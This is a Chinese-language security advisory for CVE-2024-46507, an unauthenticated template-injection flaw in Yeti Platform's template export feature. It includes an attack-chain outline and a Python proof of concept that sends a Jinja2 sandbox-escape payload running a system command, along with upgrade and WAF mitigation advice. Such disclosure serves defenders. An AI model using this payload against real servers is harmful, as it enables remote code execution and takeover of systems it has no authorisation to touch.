IPBUF安全漏洞报告
English
CVE-2024-46507 CVSS 7.3 高危

CVE-2024-46507 Yeti平台SSTI漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2024-46507
漏洞类型
服务端模板注入 (SSTI)
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
yeti-platform (Yeti)

相关标签

SSTIRCEYeti-Platform代码执行高危漏洞

漏洞概述

Yeti Platform 2.1.12之前版本的自定义模板导出功能中存在服务器端模板注入(SSTI)漏洞。由于系统对用户提交的模板内容缺乏严格的过滤和沙箱隔离,未经身份验证的远程攻击者可利用该漏洞在应用服务器端执行任意代码,进而完全控制服务器系统。

技术细节

该漏洞源于Yeti Platform在处理自定义模板导出请求时,未能正确过滤用户提供的模板内容。攻击者可以构造包含特定模板语法的恶意Payload发送至服务器端。当后端模板引擎(如Jinja2)尝试渲染该用户输入的模板时,会将恶意语句当作模板指令进行解析和执行,从而导致SSTI。攻击者通常利用模板引擎的内置对象或沙箱逃逸技术(如Python中的`__subclasses__`或`popen`)执行任意系统命令,实现对目标服务器的远程控制。由于无需认证且无交互,该漏洞极易被自动化工具利用。

攻击链分析

STEP 1
信息收集
攻击者扫描网络发现Yeti Platform服务,并确认版本低于2.1.12。
STEP 2
构造载荷
攻击者构造包含恶意模板语法的SSTI Payload(如Jinja2沙箱逃逸代码)。
STEP 3
发送请求
攻击者向自定义模板导出接口发送包含恶意Payload的HTTP请求。
STEP 4
代码执行
服务器端解析并执行模板中的恶意代码,返回系统命令执行结果。
STEP 5
获取权限
利用代码执行漏洞反弹Shell,获取服务器最高权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (example) target_url = "http://<target-ip>/api/export/template" # SSTI Payload for Jinja2 to execute 'id' command # Using common sandbox escape technique payload = "{{ ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('id').read() }}" data = { "template": payload, "format": "json" } try: response = requests.post(target_url, json=data) if response.status_code == 200 and response.text: print("[+] Vulnerability Exploited Successfully!") print("[+] Command Output:", response.text) else: print("[-] Exploit failed or target not vulnerable.") except Exception as e: print(f"[!] Error: {e}")

影响范围

yeti-platform < 2.1.12

防御指南

临时缓解措施
建议立即将Yeti Platform升级至2.1.12或更高版本以修复此漏洞。如果暂时无法升级,应严格限制对模板导出接口的访问,仅允许可信IP访问,并配置WAF规则以检测和拦截包含常见模板注入语法(如{{、{%、}}等)的恶意请求。

参考链接